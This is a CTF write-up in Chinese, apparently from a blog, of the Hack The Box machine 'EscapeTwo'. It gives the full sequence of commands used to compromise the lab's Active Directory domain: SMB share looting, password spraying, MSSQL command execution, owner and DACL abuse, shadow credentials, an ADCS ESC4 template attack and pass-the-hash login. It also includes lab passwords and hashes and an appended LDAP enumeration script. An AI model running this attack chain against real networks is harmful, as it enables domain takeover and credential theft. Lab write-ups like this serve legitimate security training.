HTB:EscapeTwo[WriteUP]

目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

将靶机TCP开放端口号提取并保存

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用nmap对靶机UDP开放端口进行脚本、服务扫描

使用smbmap枚举靶机SMB服务器共享

继续使用smbmap递归枚举`Accounting Department`共享

使用WPS打开该EXCEL文件

边界突破

使用netexec枚举靶机域内用户

使用netexec通过上述账户、密码列表进行密码喷洒

使用netexec测试这两个凭证是否可用

使用netexec通过MSSQL凭证对靶机进行目录遍历

使用netexec通过上述密码对靶机域内用户进行密码喷洒

使用evil-winrm通过上述凭证登录靶机

权限提升

使用netexec枚举靶机域内信息

使用BloodHound查看ryan用户的可传递控制对象

查看ca_svc用户信息

使用bloodyAD将ca_syc用户拥有者修改为ryan用户

使用impacket-dacledit将ryan用户对ca_svc用户的权限修改为完全控制

使用certipy-ad创建ca_svc用户影子证书

使用Certify枚举靶机域内证书模板

使用certipy-ad通过ca_svc哈希密码枚举靶机ADCS尝试发现该漏洞

使用certipy-ad通过ca_svc哈希密码重写该模板信息,使其符合攻击要求

使用certipy-ad请求一份Administrator用户符合模板要求的证书

使用certipy-ad借助pfx证书通过身份认证

使用impacket-psexec通过上述哈希凭证登录靶机


连接至HTB服务器并启动靶机

分配IP:10.10.16.22

靶机IP:10.10.11.51

靶机AD:sequel.htb

靶机DC:DC01.sequel.htb

  • 已有凭证

账户:rose

密码:KxEPkKe6R8su


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a escapetwo.htb -r 1-65535 --ulimit 5000 | tee res

将靶机TCP开放端口号提取并保存
ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,                                       
53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49689,49690,49693,49706,49722,49731,49814
                                                                                                                           
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
                                                                                                                           
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports                            
53,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389,47001,49664,49665,49666,49667,49689,49690,49693,49706,49722,49731,49814

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -sT -p$ports -sCV -Pn escapetwo.htb

  • 需要重点关注的服务和信息

AD域名:sequel.htb

53端口:Domain服务

88端口:Kerberos服务

389端口:LDAP服务

445端口:SMB服务

1433端口:SQL-Server服务

5985端口:Win-RM服务

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn escapetwo.htb

使用nmap对靶机常用UDP端口进行开放扫描

nmap -sU --top-ports 20 -Pn escapetwo.htb

使用nmap对靶机UDP开放端口进行脚本、服务扫描
nmap -sU -p53,123 -sCV -Pn escapetwo.htb

使用smbmap枚举靶机SMB服务器共享

smbmap -u 'rose' -p 'KxEPkKe6R8su' -H escapetwo.htb

继续使用smbmap递归枚举`Accounting Department`共享
smbmap -u 'rose' -p 'KxEPkKe6R8su' -H escapetwo.htb -r 'Accounting Department'

  • 将`accounts.xlsx`文件下载到攻击机本地
smbmap -u 'rose' -p 'KxEPkKe6R8su' -H escapetwo.htb -r 'Accounting Department' --download './Accounting Department/accounts.xlsx'

使用WPS打开该EXCEL文件

  • 由此可得四份密码,将其保存为列表另作他用

0fwz7Q4mSpurIt99

86LxLBMgEWaKUnBG

Md9Wlq1E5bZnVDVo

MSSQLP@ssw0rd!

cat << EOF > passwds.txt

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# cat << EOF > passwds.txt                                    
heredoc> 0fwz7Q4mSpurIt99
86LxLBMgEWaKUnBG
Md9Wlq1E5bZnVDVo
MSSQLP@ssw0rd!
heredoc> EOF


边界突破

使用netexec枚举靶机域内用户

nxc ldap escapetwo.htb -d sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --users

  • 将用户名提取保存成列表
nxc ldap escapetwo.htb -d sequel.htb -u 'rose' -p 'KxEPkKe6R8su' --users | grep -A50 Username | tail -n+2 | awk '{print $5}' | tee names.txt

使用netexec通过上述账户、密码列表进行密码喷洒
nxc ldap escapetwo.htb -d sequel.htb -u names.txt -p passwds.txt --continue-on-success

账户:oscar

密码:86LxLBMgEWaKUnBG

  • 除此之外,我还关注到sa账户密码带有mssql字样

账户:sa

密码:MSSQLP@ssw0rd!

使用netexec测试这两个凭证是否可用
nxc winrm escapetwo.htb -u 'oscar' -p '86LxLBMgEWaKUnBG'
nxc mssql escapetwo.htb -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'whoami'

使用netexec通过MSSQL凭证对靶机进行目录遍历

nxc mssql escapetwo.htb -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'dir "C:\SQL2019\ExpressAdv_ENU"'
  • C:\SQL2019\ExpressAdv_ENU目录中可见sql-Configuration.INI文件

  • 查看该文件内容
nxc mssql escapetwo.htb -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -X 'type "C:\SQL2019\ExpressAdv_ENU\sql-Configuration.INI"'

  • 获得一凭证

账户:SEQUEL\sql_svc

密码:WqSZAF6CysDQbGb3

使用netexec通过上述密码对靶机域内用户进行密码喷洒
nxc ldap escapetwo.htb -d sequel.htb -u names.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success

  • 测试这两个账户哪个可用于Win-RM登录
nxc winrm escapetwo.htb -d sequel.htb -u names2.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success

使用evil-winrm通过上述凭证登录靶机

evil-winrm -i escapetwo.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3'

  • C:\Users\ryan\Desktop找到user.txt文件


权限提升

使用netexec枚举靶机域内信息

nxc ldap sequel.htb -d sequel.htb -u 'ryan' -p 'WqSZAF6CysDQbGb3' --dns-server 10.10.11.51 --bloodhound -c All

使用BloodHound查看ryan用户的可传递控制对象

  • 由图表可见,ryan用户对ca_svc用户具有WriteOwner权限
查看ca_svc用户信息
net user ca_svc /domain

  • 由输出可见,该用户属于Cert Publishers

使用bloodyAD将ca_syc用户拥有者修改为ryan用户

bloodyAD -d escapetwo.htb --dc-ip 10.10.11.51 --dns 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# bloodyAD -d escapetwo.htb --dc-ip 10.10.11.51 --dns 10.10.11.51 -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'ca_svc' 'ryan'
[+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on ca_svc

使用impacket-dacledit将ryan用户对ca_svc用户的权限修改为完全控制
python3.11 dacledit.py -action 'write' -principal 'ryan' -target 'ca_svc' 'sequel.htb/ryan:WqSZAF6CysDQbGb3'

┌──(kali㉿kali)-[~/Desktop/temp]
└─$ python3.11 dacledit.py -action 'write' -principal 'ryan' -target 'ca_svc' 'sequel.htb/ryan:WqSZAF6CysDQbGb3'            
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] DACL backed up to dacledit-20250205-014331.bak
[*] DACL modified successfully!

  • 将本地时钟与靶机同步
sudo ntpdate escapetwo.htb
使用certipy-ad创建ca_svc用户影子证书
certipy-ad shadow auto -u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -account 'ca_svc' -target escapetwo.htb -dc-ip 10.10.11.51 -ns 10.10.11.51

  • 与此同时获得该用户NTLM密码哈希

账户:ca_svc

密码哈希:3b181b914e7a9d5508ea1e20bc2b7fce

  • 将Certify.exe上传至靶机
upload Certify.exe
使用Certify枚举靶机域内证书模板
.\Certify.exe find /domain:sequel.htb

<...SNIP...>

  • 由输出可见,该模板对Domain Admins具有注册权利,而且Cert Publishers对该模板具有完全控制权限,因此恶意利用该模板即可获取管理员密码哈希
使用certipy-ad通过ca_svc哈希密码枚举靶机ADCS尝试发现该漏洞
certipy-ad find -u ca_svc@sequel.htb -hashes 3b181b914e7a9d5508ea1e20bc2b7fce -vulnerable -stdout

  • 由末尾输出可见,利用该模板可导致ESC4漏洞攻击

使用certipy-ad通过ca_svc哈希密码重写该模板信息,使其符合攻击要求

certipy-ad template -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -k -template 'DunderMifflinAuthentication' -target DC01.sequel.htb -ns 10.10.11.51 -debug

使用certipy-ad请求一份Administrator用户符合模板要求的证书

certipy-ad req -u ca_svc@sequel.htb -hashes '3b181b914e7a9d5508ea1e20bc2b7fce' -ca sequel-DC01-CA -template 'DunderMifflinAuthentication' -upn Administrator@sequel.htb -target DC01.sequel.htb -ns 10.10.11.51 -dns 10.10.11.51 -dc-ip 10.10.11.51
  • 这里尝试了很多次,需要在certipy-ad更新了模板后快速执行该命令才能成功

使用certipy-ad借助pfx证书通过身份认证
certipy-ad auth -pfx administrator_10.pfx

使用impacket-psexec通过上述哈希凭证登录靶机

impacket-psexec sequel.htb/administrator@10.10.11.51 -hashes 'aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff'

  • C:\Users\Administrator\Desktop目录下找到root.txt文件

### 使用 NXC 工具通过 LDAP 枚举域用户 NXC 是一款功能强大的网络扫描工具,支持多种协议操作,其中包括 LDAP 协议。要使用 NXC 进行 LDAP 用户枚举,可以通过指定域名、用户名和密码来实现。 以下是具体的命令结构以及如何执行的操作: #### 命令格式 ```bash nxc ldap <target-ip> -u <username> -p <password> --domain <domain-name> --users ``` 在此场景下,假设目标 IP 地址为 `10.10.10.10`,并提供给定的凭证 `rose/KxEPkKe6R8su` 和域名称 `sequel.htb`,完整的命令如下所示: ```bash nxc ldap 10.10.10.10 -u rose -p KxEPkKe6R8su --domain sequel.htb --users ``` 此命令会尝试通过 LDAP 连接到目标主机,并利用提供的凭据枚举域中的所有用户账户[^1]。 #### 脚本解释 - `-u`: 指定用于连接的目标用户名。 - `-p`: 提供对应的密码。 - `--domain`: 设置活动目录的域名。 - `--users`: 请求脚本返回当前域内的所有用户列表。 如果成功完成身份验证,则应显示一系列属于该域的有效用户条目;反之,在遇到错误时可以根据提示进一步排查原因(如无效凭据或权限不足等问题)。 #### 注意事项 为了确保能够顺利访问远程服务器上的资源,请确认以下几点: - 验证所提供的用户名 (`rose`) 及其关联密钥是否有效。 - 确认目标机器开放了必要的端口 (通常是 TCP/389 或者 SSL 加密模式下的 TCP/636),以便允许外部客户端发起查询请求。 - 如果防火墙规则阻止了这些通信路径,则可能需要调整配置或者寻找其他可用方法绕过限制条件。 --- ### 示例代码片段展示 Python 中基于 ldap3 的简单实现方式 对于更深入的理解,下面给出一段采用 python 编写的示例程序,它同样实现了上述提到的功能逻辑: ```python from ldap3 import Server, Connection, ALL server = Server('ldap.sequel.htb', get_info=ALL) user_dn = 'CN=rose,CN=Users,DC=sequel,DC=htb' password = 'KxEPkKe6R8su' try: conn = Connection(server, user=user_dn, password=password, auto_bind=True) # Search for all users within the domain. conn.search('dc=sequel,dc=htb', '(objectClass=person)', attributes=['sAMAccountName']) entries = conn.entries if not entries: print("No users found.") else: for entry in entries: print(entry.sAMAccountName.value) except Exception as e: error_code = str(e).split()[0].strip('(').strip(')') if error_code == '52e': print('账号密码不正确') elif error_code == '775': print('账号已锁定,请联系管理员或等待自动解锁') elif error_code == '533': print('账号已禁用') else: print(f'认证失败,请检查账号 {error_code}') ``` 以上脚本展示了如何构建一个基本的 LDAP 查询过程,其中包含了异常处理机制以应对可能出现的不同类型的登录问题。 ---
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

x0da6h

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值